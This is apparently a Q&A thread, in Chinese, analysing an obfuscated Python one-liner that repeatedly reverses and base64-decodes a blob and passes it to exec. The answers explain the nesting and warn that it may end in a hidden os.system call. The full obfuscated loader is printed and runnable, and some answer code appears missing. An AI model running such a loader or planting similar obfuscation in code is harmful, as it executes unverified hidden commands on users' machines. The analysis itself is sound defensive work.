_ = lambda __ : __import__('base64').b64decode(__[::-1]);exec((_)(b'=kSKnoFWoxWW5d2bYl3avlVajlTYx4ETi1WOHZlM5QjVxMWMaRkSpd1V3pXWYp1cW1mRxJmRSpVZYRGdVJDcwImVkplWHhXahp3a3Z1akNkYtpkcRtmUhNWRaRXVrB3dXZEZ2cFVGpWVwoURZpmRTZVMKJ3YGRmWXZkSIZFbvhnUyYVVNdFdOR1aaVkVuJ1VWZkUzNWRklWTFlFeUVlT3ZlVWVzVWZlaW5GaIl1VotkUxolehRkRXRmVvhXVWp0ShxWTyMlaGhWYzIFWX5mRhJFbkFmWFpVYjRlRWl1ak9UZsZVeOVlVVFWMwJnVww2dSxmTzQFboVVZUJlVUZlVTJmRSdHVthnTNVUS6ZlVWtUTGp0TlVEZp5kasZlVtR3ciZFZ2UVVkR1VqZESZZVU4FGMxAlUtBnWSxmS0VlM0FmVWNWMaZkWpNmeWhlVuxmdNdkTXN2RxU1YUZlVWpmRWNlRap0TWR2ThZlWzZFRO9kYGpFUlZEZaZ1MCdlWGB3SSZEc2M1V450U6xGWW5WRxEmMGJnWFpFbTVFN4ZlaGJUYsZVNOVkVqlVVaFnVIJ0SiZlSLNmRohlTs9GeWdEbwIlMVl3TEJ0VlZUR3dVVaRjUxoEaaVkVs1ERCZUWuR2aNFjW5VVbxQVYrVTRZZFbrJFbaR0TXRnWkhUQ3plRJFjUyo0bUpmSoNVMZpnVWh2bl1mUYJlbwlWTxo0RZ1WO0YVMwh3Vsp1TXtWNxZleOdnUrFDUX5GcVZFbKRXVwUzVNdUSyI2R4lWYthWdW5GbWFmMK1EVqZEaPdlTwd1V5IXZWhmdaNDbaJ2Rol1VpNGcLFVP9ciYokyXogyYlhXZ'))
2条答案
按热度按时间ddrv8njm1#
如果您执行:
它将从一个转换层转储Python源代码。然后,您可能需要以类似的方式执行进一步的反模糊步骤,以获得“真实的的代码”。
exec
正在运行上述代码(这是一个糟糕的想法,因为实际行为还没有得到验证),其余部分只是从整个代码中生成一个单行程序。在运行大约五轮重复的base64解码以及将最终结果解码为正确的
str
之后,最终得到:从表面上看,它似乎并不特别恶意,但我会把任何这种毫无意义的混淆代码视为可疑,直到证明不是这样(我没有办法知道这些软件包中的任何一个在某些情况下是否可能做恶意的事情或创建其他恶意东西可以利用的漏洞)。
shyt4zoc2#
模糊处理非常简单,但也很有趣。特别注意
;
,它将此分为两个单独的语句:它创建了一个lambda函数
_
,它本身有一个参数__
。lambda函数然后导入base64并调用它的方法b64decode
。它传递什么?__[::-1]
-参数__
被反转一次,然后返回调用的结果。这就完成了lambda定义。然后它调用
exec
,结果是用原始的sort-of-base64字符串调用lambda。第一次lambda调用的结果是另一个代码片段,看起来像exec((_)(b'=kS...hXZ'))
,只是里面有另一个sort-of-base64字符串。因为你把这个字符串传递给exec
,它会运行一个exec
,exec
又会运行一个exec
,exec
又会运行一个exec
......这个嵌套会持续5?直到您最终得到执行某些潜在恶意os.system
调用的python代码。